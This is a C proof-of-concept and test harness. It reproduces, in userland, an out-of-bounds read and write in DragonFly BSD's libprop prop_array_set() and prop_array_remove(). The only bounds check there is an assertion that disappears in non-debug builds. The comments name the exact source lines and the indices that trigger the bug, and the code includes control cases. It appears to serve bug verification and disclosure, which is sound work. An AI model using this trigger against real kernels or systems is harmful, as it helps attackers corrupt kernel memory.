DF-5678 / df5678_userland.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 | /* * DF-5678 โ userland differential against the SAME libprop source that is * compiled into the DragonFly kernel (/usr/src/sys/libprop). * * Defect under test: prop_array_set() / prop_array_remove() enforce the * idx < pa_count bound ONLY via _PROP_ASSERT: * * prop_array.c:648 _PROP_ASSERT(idx < pa->pa_count); (prop_array_set) * prop_array.c:701 _PROP_ASSERT(idx < pa->pa_count); (prop_array_remove) * * and then immediately: * :650 opo = pa->pa_array[idx]; OOB READ (8-byte kernel pointer) * :654 pa->pa_array[idx] = po; OOB WRITE (8-byte kernel pointer) * :657 prop_object_release(opo); release of OOB-read pointer * :709 po = pa->pa_array[idx]; OOB READ * :719 prop_object_release(po); release of OOB-read pointer * * _PROP_ASSERT == KKASSERT in the kernel (sys/sys/systm.h:94-122): active * only when the kernel is built with "options INVARIANTS" (X86_64_GENERIC * has it; a fully supported production kernel without it compiles the check * to nothing -> silent heap OOB). In userland _PROP_ASSERT == assert(), * killed by -DNDEBUG. The rig exploits that 1:1 correspondence: * * assert build (~ stock INVARIANTS kernel) -> abort at prop_array.c:648/:701 * -DNDEBUG (~ non-INVARIANTS kernel) -> set() returns TRUE, silent * -DNDEBUG+guard (guard-page allocator) -> SIGSEGV exactly at :650/:654/:709 * * usage: ./df5678_userland <scenario> * scenario: control | seteqcnt | set | remove */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <unistd.h> #include <libprop/proplib.h> static void segv_handler(int sig, siginfo_t *si, void *uc __unused) { /* * Guard rig: the fault address is inside the PROT_NONE page that * follows the prop_array backing store; for the 'set' scenario the * first touched byte is pa_array_base + 512*8 == block_end + 0, * for 'remove' it is pa_array_base + 600*8. */ fprintf(stderr, "SIGSEGV si_addr=%p (guard page after prop_array " "backing store โ OOB access reached)\n", si->si_addr); _exit(139); } /* * capacity 510 -> backing calloc(1, 510*8=4080). In the guarded rig the * block is placed so byte 4080 is the last byte of a mapped page: index 512 * (byte offset 4096) is past the rear guard page. */ #define CAP 510 #define BAD_SET_IDX 512 /* 4096 bytes in: first OOB slot */ #define BAD_REM_IDX 600 /* 4800 bytes in: unambiguous OOB */ static void fill(prop_array_t pa, prop_object_t po) { unsigned int i; for (i = 0; i < CAP; i++) { if (prop_array_add(pa, po) == false) { fprintf(stderr, "FATAL: add failed at %u\n", i); exit(3); } } } int main(int argc, char **argv) { const char *sc = argc > 1 ? argv[1] : "set"; struct sigaction sa; prop_array_t pa; prop_object_t po; int rv; memset(&sa, 0, sizeof(sa)); sa.sa_sigaction = segv_handler; sa.sa_flags = SA_SIGINFO; sigaction(SIGSEGV, &sa, NULL); sigaction(SIGBUS, &sa, NULL); po = prop_string_create_cstring("victim"); if (po == NULL) return (3); /* control: in-bounds set + remove must always be clean */ if (strcmp(sc, "control") == 0) { pa = prop_array_create_with_capacity(CAP); fill(pa, po); rv = prop_array_set(pa, 5, po); /* in-bounds replace */ printf("control: set(5) rv=%d count=%u cap=%u\n", rv, prop_array_count(pa), prop_array_capacity(pa)); prop_array_remove(pa, 5); /* in-bounds remove */ printf("control: remove(5) count=%u\n", prop_array_count(pa)); prop_object_release(pa); prop_object_release(po); printf("control: done, no fault\n"); return (0); } /* seteqcnt: idx == count is the documented append path โ must work */ if (strcmp(sc, "seteqcnt") == 0) { pa = prop_array_create_with_capacity(CAP); fill(pa, po); rv = prop_array_set(pa, CAP, po); /* == count -> _prop_array_add */ printf("seteqcnt: set(%u) rv=%d count=%u cap=%u\n", CAP, rv, prop_array_count(pa), prop_array_capacity(pa)); prop_object_release(pa); prop_object_release(po); printf("seteqcnt: done, no fault\n"); return (0); } if (strcmp(sc, "set") == 0) { pa = prop_array_create_with_capacity(CAP); fill(pa, po); printf("set: pre count=%u cap=%u, calling set(%u)...\n", prop_array_count(pa), prop_array_capacity(pa), BAD_SET_IDX); fflush(stdout); /* * idx > count: on the assert build this aborts at * prop_array.c:648; on NDEBUG builds it falls through to * OOB read (:650), OOB write (:654) and release(opo) (:657). */ rv = prop_array_set(pa, BAD_SET_IDX, po); printf("set: SURVIVED, rv=%d (out-of-range index accepted%s)\n", rv, rv ? " โ assert compiled out" : ""); prop_object_release(pa); prop_object_release(po); printf("set: released cleanly\n"); return (0); } if (strcmp(sc, "remove") == 0) { pa = prop_array_create_with_capacity(CAP); fill(pa, po); printf("remove: pre count=%u cap=%u, calling remove(%u)...\n", prop_array_count(pa), prop_array_capacity(pa), BAD_REM_IDX); fflush(stdout); /* * idx >= count: assert build aborts at :701; NDEBUG builds * OOB-read (:709), decrement count, release garbage (:719). */ prop_array_remove(pa, BAD_REM_IDX); printf("remove: SURVIVED count=%u (assert compiled out)\n", prop_array_count(pa)); prop_object_release(pa); prop_object_release(po); printf("remove: released cleanly\n"); return (0); } fprintf(stderr, "unknown scenario %s\n", sc); return (2); } |